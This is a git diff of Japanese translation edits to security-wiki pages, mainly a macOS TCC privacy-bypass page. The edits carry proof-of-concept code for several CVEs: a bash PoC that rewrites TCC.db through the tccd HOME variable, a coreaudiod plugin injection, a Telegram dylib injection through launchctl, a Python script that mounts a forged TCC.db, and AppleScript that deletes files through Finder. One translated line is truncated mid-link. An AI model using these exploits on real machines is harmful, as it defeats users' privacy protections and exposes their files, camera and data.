### 任意の名前によるTCCリクエスト -攻撃者は **任意の名前** (例: Finder, Google Chrome...) のアプリを **`Info.plist`** に作成し、TCCで保護された場所へのアクセスをリクエストさせることができます。ユーザーは、正当なアプリケーションがこのアクセスをリクエストしていると思うでしょう。\ -さらに、**正当なアプリをDockから削除し、偽のアプリを置く** ことが可能です。ユーザーが偽のアプリ(同じアイコンを使用できる)をクリックすると、正当なアプリを呼び出し、TCCの権限を要求し、マルウェアを実行させ、正当なアプリがアクセスを要求したと信じ込ませることができます。 +攻撃者は **任意の名前** (例: Finder, Google Chrome...) のアプリを **`Info.plist`** に作成し、TCCで保護された場所へのアクセスを要求させることができます。ユーザーは、正当なアプリケーションがこのアクセスを要求していると思うでしょう。\ +さらに、**正当なアプリをDockから削除し、偽のアプリをその上に置く** ことが可能です。ユーザーが偽のアプリ(同じアイコンを使用できる)をクリックすると、正当なアプリを呼び出し、TCCの権限を要求し、マルウェアを実行させ、正当なアプリがアクセスを要求したと信じ込ませることができます。
@@ -39,7 +39,7 @@ asd ### SSHバイパス -デフォルトでは、**SSH経由のアクセスは「フルディスクアクセス」を持っていました**。これを無効にするには、リストに表示されているが無効にする必要があります(リストから削除してもその権限は削除されません): +デフォルトでは、**SSH経由のアクセスは「フルディスクアクセス」を持っていました**。これを無効にするには、リストに載せておく必要がありますが、無効にすること(リストから削除すること)はその権限を取り除くことにはなりません: ![](<../../../../../images/image (1077).png>) @@ -62,7 +62,7 @@ asd **iMovie** と **Garageband** はこの権限を持っており、他のアプリも許可されていました。 -この権限から **iCloudトークンを取得する** ためのエクスプロイトに関する詳細情報は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) +この権限から **iCloudトークンを取得するためのエクスプロイト** に関する詳細情報は、トークを確認してください: [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0) ### kTCCServiceAppleEvents / 自動化 @@ -80,7 +80,7 @@ macos-apple-scripts.md #### iTerm上で -FDAを持たないTerminalは、FDAを持つiTermを呼び出し、それを使用してアクションを実行できます: +フルディスクアクセスを持たないTerminalは、フルディスクアクセスを持つiTermを呼び出し、それを使用してアクションを実行できます: ```applescript:iterm.script tell application "iTerm" activate @@ -96,7 +96,7 @@ end tell ```bash osascript iterm.script ``` -#### Over Finder +#### Finderを介して または、アプリがFinderにアクセスできる場合、次のようなスクリプトを使用できます: ```applescript @@ -112,10 +112,10 @@ do shell script "rm " & POSIX path of (copyFile as alias) ### CVE-2020–9934 - TCC -ユーザーランドの **tccd デーモン** は、**`HOME`** **env** 変数を使用して、TCC ユーザーデータベースにアクセスしています: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** +ユーザーランドの **tccd デーモン** は **`HOME`** **env** 変数を使用して、TCC ユーザーデータベースにアクセスしています: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** -[この Stack Exchange の投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) によると、TCC デーモンは現在のユーザーのドメイン内で `launchd` を介して実行されているため、**渡されるすべての環境変数を制御することが可能**です。\ -したがって、**攻撃者は `$HOME` 環境** 変数を **`launchctl`** で **制御された** **ディレクトリ** を指すように設定し、**TCC** デーモンを **再起動** し、その後 **TCC データベースを直接変更**して、エンドユーザーにプロンプトを表示することなく **すべての TCC 権限を取得**することができます。\ +[この Stack Exchange の投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) によると、TCC デーモンは現在のユーザーのドメイン内で `launchd` を介して実行されているため、渡される **すべての環境変数** を **制御することが可能** です。\ +したがって、**攻撃者は `$HOME` 環境** 変数を **`launchctl`** で **制御された** **ディレクトリ** を指すように設定し、**TCC** デーモンを **再起動** し、その後 **TCC データベースを直接変更** して、エンドユーザーにプロンプトを表示することなく **すべての TCC 権限を取得** することができます。\ PoC: ```bash # reset database just in case (no cheating!) @@ -157,7 +157,7 @@ $> ls ~/Documents ### CVE-2023-38571 - Music & TV -**`Music`**には興味深い機能があります:実行中に、**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルをユーザーの「メディアライブラリ」に**インポート**します。さらに、次のような呼び出しを行います:**`rename(a, b);`** ここで`a`と`b`は: +**`Music`**には興味深い機能があります:実行中に、**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルをユーザーの「メディアライブラリ」に**インポート**します。さらに、次のような呼び出しを行います:**`rename(a, b);`** ここで、`a`と`b`は: - `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"` - `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3"` @@ -166,7 +166,7 @@ $> ls ~/Documents ### SQLITE_SQLLOG_DIR - CVE-2023-32422 -**`SQLITE_SQLLOG_DIR="path/folder"`**は基本的に**開いているdbがそのパスにコピーされる**ことを意味します。このCVEでは、この制御が悪用され、**SQLiteデータベース**内に**書き込まれ**、そのデータベースが**FDAのTCCデータベースを持つプロセスによって開かれる**ことになり、**`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**を使用して悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されます。\ +**`SQLITE_SQLLOG_DIR="path/folder"`**は基本的に**開いている任意のデータベースがそのパスにコピーされる**ことを意味します。このCVEでは、この制御が悪用され、**SQLiteデータベース**内に**書き込まれ**、そのデータベースがFDAのTCCデータベースによって**開かれるプロセス**によって**開かれる**ことがあり、**`SQLITE_SQLLOG_DIR`**を**ファイル名のシンボリックリンク**で悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されます。\ **詳細情報** [**書き込みに関して**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および** [**トークに関して**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。 ### **SQLITE_AUTO_TRACE** @@ -184,32 +184,32 @@ launchctl setenv SQLITE_AUTO_TRACE 1 次のように設定します: `MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。`path`が有効なディレクトリであれば、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを確認できます: -- `path/.dat.nosyncXXXX.XXXXXX`(Xはランダム)という名前のファイルが`open()`されます。 -- 1つ以上の`write()`がファイルに内容を書き込みます(これを制御することはできません)。 -- `path/.dat.nosyncXXXX.XXXXXX`が`path/name`に`renamed()`されます。 +- `open()`されるファイルは`path/.dat.nosyncXXXX.XXXXXX`(Xはランダム)と呼ばれます +- 1つ以上の`write()`がファイルに内容を書き込みます(これを制御することはできません) +- `path/.dat.nosyncXXXX.XXXXXX`は`path/name`に`renamed()`されます -これは一時ファイルの書き込みであり、その後に**`rename(old, new)`**が行われますが、**これは安全ではありません。** +これは一時ファイルの書き込みであり、その後に**`rename(old, new)`**が**安全ではありません。** -安全でない理由は、**古いパスと新しいパスを別々に解決する必要があるため**、これには時間がかかる可能性があり、レースコンディションに対して脆弱です。詳細については、`xnu`関数`renameat_internal()`を確認できます。 +安全ではない理由は、**古いパスと新しいパスを別々に解決する必要があるため**、これには時間がかかる可能性があり、レースコンディションに対して脆弱です。詳細については、`xnu`関数`renameat_internal()`を確認できます。 > [!CAUTION] -> 基本的に、特権プロセスがあなたが制御するフォルダから名前を変更している場合、RCEを獲得し、異なるファイルにアクセスさせることができるか、またはこのCVEのように、特権アプリが作成したファイルを開いてFDを保存することができます。 +> 基本的に、特権プロセスがあなたが制御するフォルダから名前を変更している場合、RCEを獲得し、特権アプリが作成したファイルにアクセスさせたり、このCVEのようにファイルディスクリプタを保存することができます。 > -> 名前変更があなたが制御するフォルダにアクセスする場合、ソースファイルを変更したり、FDを持っている間に、宛先ファイル(またはフォルダ)をシンボリックリンクを指すように変更することで、いつでも書き込むことができます。 +> 名前変更があなたが制御するフォルダにアクセスする場合、ソースファイルを変更したり、そのファイルにFDを持っている間に、宛先ファイル(またはフォルダ)をシンボリックリンクを指すように変更することで、いつでも書き込むことができます。 -これがCVEでの攻撃でした:たとえば、ユーザーの`TCC.db`を上書きするために、次のようにします: +これがCVEでの攻撃でした:たとえば、ユーザーの`TCC.db`を上書きするために、次のことができます: -- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします。 -- ディレクトリ`/Users/hacker/tmp/`を作成します。 -- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します。 -- このenv変数を使用して`Music`を実行してバグをトリガーします。 -- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`(Xはランダム)の`open()`をキャッチします。 -- ここで、このファイルをライティング用に`open()`し、ファイルディスクリプタを保持します。 -- `/Users/hacker/tmp`を`/Users/hacker/ourlink`と**ループ内で原子的に切り替えます**。 -- レースウィンドウが非常に狭いため、成功の可能性を最大化するためにこれを行いますが、レースに負けることのデメリットはほとんどありません。 -- 少し待ちます。 -- 運が良かったかテストします。 -- そうでなければ、最初から再実行します。 +- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします +- ディレクトリ`/Users/hacker/tmp/`を作成します +- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します +- このenv変数で`Music`を実行してバグをトリガーします +- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`の`open()`をキャッチします(Xはランダム) +- ここで、このファイルをライティング用に`open()`し、ファイルディスクリプタを保持します +- `/Users/hacker/tmp`を`/Users/hacker/ourlink`と**ループ内で原子的に切り替えます** +- レースウィンドウが非常に狭いため、成功の可能性を最大化するためにこれを行いますが、レースに負けることのデメリットはほとんどありません +- 少し待ちます +- 運が良かったかテストします +- そうでなければ、最初から再実行します 詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)を確認してください。 @@ -244,7 +244,7 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して 6. ユーザーの_tccd_を停止し、プロセスを再起動します。 2番目のPOCは、`/usr/libexec/configd`を使用し、`com.apple.private.tcc.allow`に`kTCCServiceSystemPolicySysAdminFiles`の値がありました。\ -**`-t`**オプションで**`configd`**を実行することが可能で、攻撃者は**カスタムバンドルをロード**することができました。したがって、エクスプロイトは、ユーザーのホームディレクトリを変更するための**`dsexport`**および**`dsimport`**メソッドを**`configd`コードインジェクション**に置き換えます。 +**`-t`**オプションで**`configd`**を実行することが可能で、攻撃者は**カスタムバンドルをロード**することを指定できました。したがって、エクスプロイトはユーザーのホームディレクトリを変更するための**`dsexport`**および**`dsimport`**メソッドを**`configd`コードインジェクション**に置き換えます。 詳細については、[**元の報告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)を確認してください。 @@ -257,21 +257,21 @@ TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して {{#endref}} さらに、TCCをバイパスするために見つかった最も一般的なプロセスインジェクションは**プラグイン(ライブラリをロード)**です。\ -プラグインは通常、ライブラリやplistの形で追加のコードであり、**メインアプリケーションによってロードされ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセス権を持っている場合(付与された権限または権利によって)、**カスタムコードもそれを持つことになります**。 +プラグインは通常、ライブラリやplistの形での追加コードであり、**メインアプリケーションによってロードされ**、そのコンテキストで実行されます。したがって、メインアプリケーションがTCC制限ファイルへのアクセス権を持っている場合(付与された権限または権利を介して)、**カスタムコードもそれを持つことになります**。 ### CVE-2020-27937 - Directory Utility アプリケーション`/System/Library/CoreServices/Applications/Directory Utility.app`は、権限**`kTCCServiceSystemPolicySysAdminFiles`**を持ち、**`.daplug`**拡張子のプラグインをロードし、**ハードンされた**ランタイムを持っていませんでした。 -このCVEを武器化するために、**`NFSHomeDirectory`**が**変更され**(前述の権限を悪用して)、ユーザーのTCCデータベースを**引き継ぐ**ことができるようにします。 +このCVEを武器化するために、**`NFSHomeDirectory`**が**変更され**(前述の権限を悪用して)、ユーザーのTCCデータベースを引き継ぐことができるようにします。 詳細については、[**元の報告**](https://wojciechregula.blog/post/change-home-directory-and-bypass-tcc-aka-cve-2020-27937/)を確認してください。 ### CVE-2020-29621 - Coreaudiod -バイナリ**`/usr/sbin/coreaudiod`**は、権限`com.apple.security.cs.disable-library-validation`と`com.apple.private.tcc.manager`を持っていました。最初のものは**コードインジェクションを許可**し、2番目は**TCCを管理する**アクセスを与えます。 +バイナリ**`/usr/sbin/coreaudiod`**は、権限`com.apple.security.cs.disable-library-validation`と`com.apple.private.tcc.manager`を持っていました。最初の**コードインジェクションを許可**し、2番目は**TCCを管理する**アクセスを与えました。 -このバイナリは、フォルダ`/Library/Audio/Plug-Ins/HAL`から**サードパーティプラグインをロード**することを許可しました。したがって、プラグインを**ロードし、TCC権限を悪用する**ことが可能でした。このPoC: +このバイナリは、フォルダ`/Library/Audio/Plug-Ins/HAL`から**サードパーティプラグイン**をロードすることを許可しました。したがって、次のPoCを使用して**プラグインをロードし、TCC権限を悪用する**ことが可能でした: ```objectivec #import #import @@ -304,7 +304,7 @@ exit(0); Core Media I/Oを介してカメラストリームを開くシステムアプリケーション(**`kTCCServiceCamera`**を持つアプリ)は、`/Library/CoreMediaIO/Plug-Ins/DAL`にある**これらのプラグインをプロセス内で読み込みます**(SIP制限なし)。 -そこに一般的な**コンストラクタ**を持つライブラリを保存するだけで、**コードを注入**することができます。 +一般的な**コンストラクタ**を持つライブラリをそこに保存するだけで、**コードを注入**することができます。 いくつかのAppleアプリケーションがこれに対して脆弱でした。 @@ -344,7 +344,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox ### CVE-2023-26818 - Telegram -Telegram は **`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限を持っていたため、カメラでの録画などの**権限にアクセスする**ために悪用することが可能でした。ペイロードは[**この書き込みで見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。 +Telegram は **`com.apple.security.cs.allow-dyld-environment-variables`** と **`com.apple.security.cs.disable-library-validation`** の権限を持っていたため、カメラでの録画などの**権限にアクセスするために悪用することが可能でした**。ペイロードは[**この書き込みで見つけることができます**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。 環境変数を使用してライブラリをロードする方法に注意してください。**カスタム plist** が作成され、このライブラリを注入するために **`launchctl`** が使用されました: ```xml @@ -418,7 +418,7 @@ exploit_location]; task.standardOutput = pipe; ### CVE-2020-9771 - mount_apfs TCC バイパスと特権昇格 **任意のユーザー**(特権のないユーザーも含む)は、タイムマシンのスナップショットを作成してマウントし、そのスナップショットの**すべてのファイルにアクセス**できます。\ -必要な**特権**は、使用するアプリケーション(`Terminal`など)が**フルディスクアクセス**(FDA)アクセス(`kTCCServiceSystemPolicyAllfiles`)を持つことであり、これは管理者によって付与される必要があります。 +必要な**唯一の特権**は、使用するアプリケーション(例えば `Terminal`)が**フルディスクアクセス**(FDA)アクセス(`kTCCServiceSystemPolicyAllfiles`)を持つことであり、これは管理者によって付与される必要があります。 ```bash # Create snapshot tmutil localsnapshot @@ -463,40 +463,48 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/") os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db") os.system("hdiutil detach /tmp/mnt 1>/dev/null") ``` -チェックしてください **フルエクスプロイト** は [**オリジナルの解説**](https://theevilbit.github.io/posts/cve-2021-30808/) にあります。 +チェックしてください **完全なエクスプロイト** は [**元の解説**](https://theevilbit.github.io/posts/cve-2021-30808/) にあります。 + +### CVE-2024-40855 + +[元の解説](https://www.kandji.io/blog/macos-audit-story-part2) で説明されているように、このCVEは `diskarbitrationd` を悪用しました。 + +公開された `DiskArbitration` フレームワークの関数 `DADiskMountWithArgumentsCommon` がセキュリティチェックを実行しました。しかし、`diskarbitrationd` を直接呼び出すことでバイパスすることが可能であり、そのためにパス内で `../` 要素やシンボリックリンクを使用できます。 + +これにより、攻撃者は `diskarbitrationd` の権限 `com.apple.private.security.storage-exempt.heritable` により、任意の場所にマウントを行うことができました。 ### asr ツール **`/usr/sbin/asr`** は、TCC保護をバイパスしてディスク全体をコピーし、別の場所にマウントすることを可能にしました。 -### 位置情報サービス +### Location Services -**`/var/db/locationd/clients.plist`** に第三のTCCデータベースがあり、**位置情報サービスにアクセスすることを許可されたクライアント**を示します。\ -フォルダー **`/var/db/locationd/` はDMGマウントから保護されていなかった**ため、自分のplistをマウントすることが可能でした。 +**`/var/db/locationd/clients.plist`** に第三のTCCデータベースがあり、**位置情報サービスにアクセスすることを許可されたクライアント** を示します。\ +フォルダー **`/var/db/locationd/` はDMGマウントから保護されていなかった** ため、自分のplistをマウントすることが可能でした。 -## スタートアップアプリによる +## By startup apps {{#ref}} ../../../../macos-auto-start-locations.md {{#endref}} -## grepによる +## By grep いくつかの場面で、ファイルはメール、電話番号、メッセージなどの機密情報を保護されていない場所に保存します(これはAppleの脆弱性と見なされます)。
-## 合成クリック +## Synthetic Clicks これはもう機能しませんが、[**過去には機能していました**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
-[**CoreGraphicsイベント**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf)を使用した別の方法: +[**CoreGraphicsイベント**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) を使用した別の方法:
-## 参考 +## Reference - [**https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8**](https://medium.com/@mattshockl/cve-2020-9934-bypassing-the-os-x-transparency-consent-and-control-tcc-framework-for-4e14806f1de8) - [**https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/**](https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md index a18c0782c..f6bd5c59d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-users.md @@ -1,35 +1,33 @@ -# macOS Users & External Accounts +# macOS ユーザーと外部アカウント {{#include ../../banners/hacktricks-training.md}} -## Common Users +## 一般的なユーザー -- **Daemon**: User reserved for system daemons. The default daemon account names usually start with a "\_": +- **Daemon**: システムデーモン用に予約されたユーザー。デフォルトのデーモンアカウント名は通常「\_」で始まります: - ```bash - _amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs - ``` - -- **Guest**: Account for guests with very strict permissions +```bash +_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs +``` +- **Guest**: 非常に厳しい権限を持つゲスト用アカウント ```bash state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess") for i in "${state[@]}"; do sysadminctl -"${i}" status; done; ``` - -- **Nobody**: Processes are executed with this user when minimal permissions are required +- **Nobody**: 最小限の権限が必要なときにこのユーザーでプロセスが実行されます - **Root** -## User Privileges +## ユーザープリビレッジ -- **Standard User:** The most basic of users. This user needs permissions granted from an admin user when attempting to install software or perform other advanced tasks. They are not able to do it on their own. -- **Admin User**: A user who operates most of the time as a standard user but is also allowed to perform root actions such as install software and other administrative tasks. All users belonging to the admin group are **given access to root via the sudoers file**. -- **Root**: Root is a user allowed to perform almost any action (there are limitations imposed by protections like System Integrity Protection). - - For example root won't be able to place a file inside `/System` +- **標準ユーザー:** 最も基本的なユーザー。このユーザーは、ソフトウェアをインストールしたり、他の高度なタスクを実行しようとする際に、管理者ユーザーから権限を付与される必要があります。自分自身ではそれを行うことができません。 +- **管理者ユーザー**: 大部分の時間を標準ユーザーとして操作しますが、ソフトウェアのインストールやその他の管理タスクなどのrootアクションを実行することも許可されています。管理者グループに属するすべてのユーザーは**sudoersファイルを介してrootにアクセスが与えられます**。 +- **Root**: Rootはほぼすべてのアクションを実行することが許可されているユーザーです(System Integrity Protectionのような保護によって制限があります)。 +- 例えば、rootは`/System`内にファイルを置くことができません。 -## External Accounts +## 外部アカウント -MacOS also support to login via external identity providers such as FaceBook, Google... The main daemon performing this job is `accountsd` (`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`) and it's possible to find plugins used for external authentication inside the folder `/System/Library/Accounts/Authentication/`.\ -Moreover, `accountsd` gets the list of account types from `/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`. +MacOSは、FaceBookやGoogleなどの外部アイデンティティプロバイダーを介してログインすることもサポートしています。この作業を行う主なデーモンは`accountsd`(`/System/Library/Frameworks/Accounts.framework//Versions/A/Support/accountsd`)であり、外部認証に使用されるプラグインは`/System/Library/Accounts/Authentication/`フォルダー内にあります。\ +さらに、`accountsd`は`/Library/Preferences/SystemConfiguration/com.apple.accounts.exists.plist`からアカウントタイプのリストを取得します。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-useful-commands.md b/src/macos-hardening/macos-useful-commands.md index 53e6dc36e..b855ba00e 100644 --- a/src/macos-hardening/macos-useful-commands.md +++ b/src/macos-hardening/macos-useful-commands.md @@ -1,15 +1,11 @@ -# macOS Useful Commands +# macOS 有用なコマンド {{#include ../banners/hacktricks-training.md}} -### MacOS Automatic Enumeration Tools +### MacOS 自動列挙ツール - **MacPEAS**: [https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS) -- **Metasploit**: [https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/gather/enum_osx.rb) -- **SwiftBelt**: [https://github.com/cedowens/SwiftBelt](https://github.com/cedowens/SwiftBelt) - -### Specific MacOS Commands - +- **Metasploit**: [ ```bash #System info date @@ -111,25 +107,21 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist (enable ssh) sudo launchctl unload /System/Library/LaunchDaemons/ssh.plist (disable ssh) #Start apache sudo apachectl (start|status|restart|stop) - ##Web folder: /Library/WebServer/Documents/ +##Web folder: /Library/WebServer/Documents/ #Remove DNS cache dscacheutil -flushcache sudo killall -HUP mDNSResponder ``` +### インストールされたソフトウェアとサービス -### Installed Software & Services - -Check for **suspicious** applications installed and **privileges** over the.installed resources: - +インストールされたリソースに対する**疑わしい**アプリケーションと**権限**を確認します: ``` system_profiler SPApplicationsDataType #Installed Apps system_profiler SPFrameworksDataType #Instaled framework lsappinfo list #Installed Apps launchctl list #Services ``` - -### User Processes - +### ユーザープロセス ```bash # will print all the running services under that particular user domain. launchctl print gui/ @@ -140,10 +132,9 @@ launchctl print system # will print detailed information about the specific launch agent. And if it’s not running or you’ve mistyped, you will get some output with a non-zero exit code: Could not find service “com.company.launchagent.label” in domain for login launchctl print gui//com.company.launchagent.label ``` +### ユーザーを作成する -### Create a user - -Without prompts +プロンプトなし
diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index e8c07c4da..fccc4e2f8 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -2,24 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -
- -[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう! - -**Hacking Insights**\ -ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう - -**Real-Time Hack News**\ -リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう - -**Latest Announcements**\ -新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう - -[**Discord**](https://discord.com/invite/N3FrSbmwdy) に参加して、今日からトップハッカーとコラボレーションを始めましょう! - ## Android Applications Basics -このページを読み始めて、**Androidセキュリティに関連する最も重要な部分とAndroidアプリケーションの最も危険なコンポーネント**について知ることを強くお勧めします: +このページを読むことを強くお勧めします。**Androidのセキュリティに関連する最も重要な部分と、Androidアプリケーションの最も危険なコンポーネント**について知るためです: {{#ref}} android-applications-basics.md @@ -27,15 +12,15 @@ android-applications-basics.md ## ADB (Android Debug Bridge) -これは、Androidデバイス(エミュレートまたは物理)に接続するために必要な主なツールです。\ -**ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、ファイルの**コピー**、アプリの**インストール**と**アンインストール**、シェルコマンドの**実行**、データの**バックアップ**、ログの**読み取り**など、さまざまな機能を提供します。 +これは、Androidデバイス(エミュレートされたものまたは物理的なもの)に接続するために必要な主なツールです。\ +**ADB**は、コンピュータから**USB**または**ネットワーク**経由でデバイスを制御することを可能にします。このユーティリティは、**ファイルのコピー**、**アプリのインストール**と**アンインストール**、**シェルコマンドの実行**、**データのバックアップ**、**ログの読み取り**など、さまざまな機能を提供します。 -adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)のリストを見てください。 +adbの使い方を学ぶために、以下の[**ADB Commands**](adb-commands.md)のリストを確認してください。 ## Smali -時には、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスするために**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkを逆コンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\ -[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段として非常に役立つ可能性があります**。したがって、**この可能性を常に念頭に置いておいてください**。 +時には、**隠された情報**(おそらくよく難読化されたパスワードやフラグ)にアクセスするために、**アプリケーションコードを修正する**ことが興味深い場合があります。そのため、apkを逆コンパイルし、コードを修正して再コンパイルすることが興味深いかもしれません。\ +[**このチュートリアルでは、APKを逆コンパイルし、Smaliコードを修正して、新しい機能を持つAPKを再コンパイルする方法を学ぶことができます**](smali-changes.md)。これは、**動的分析中に提示されるいくつかのテストの代替手段として非常に役立つ**可能性があります。したがって、**この可能性を常に念頭に置いておいてください**。 ## Other interesting tricks @@ -79,11 +64,11 @@ APKの**文字列**を確認するだけで、**パスワード**、**URL** ([ht **Manifest.xml**から特定された**脆弱性**には以下が含まれます: -- **デバッグ可能なアプリケーション**: _Manifest.xml_ファイルでデバッグ可能として設定されたアプリケーション(`debuggable="true"`)は、接続を許可するため、悪用のリスクがあります。デバッグ可能なアプリケーションを見つけて悪用する方法については、デバイス上でのチュートリアルを参照してください。 +- **デバッグ可能なアプリケーション**: 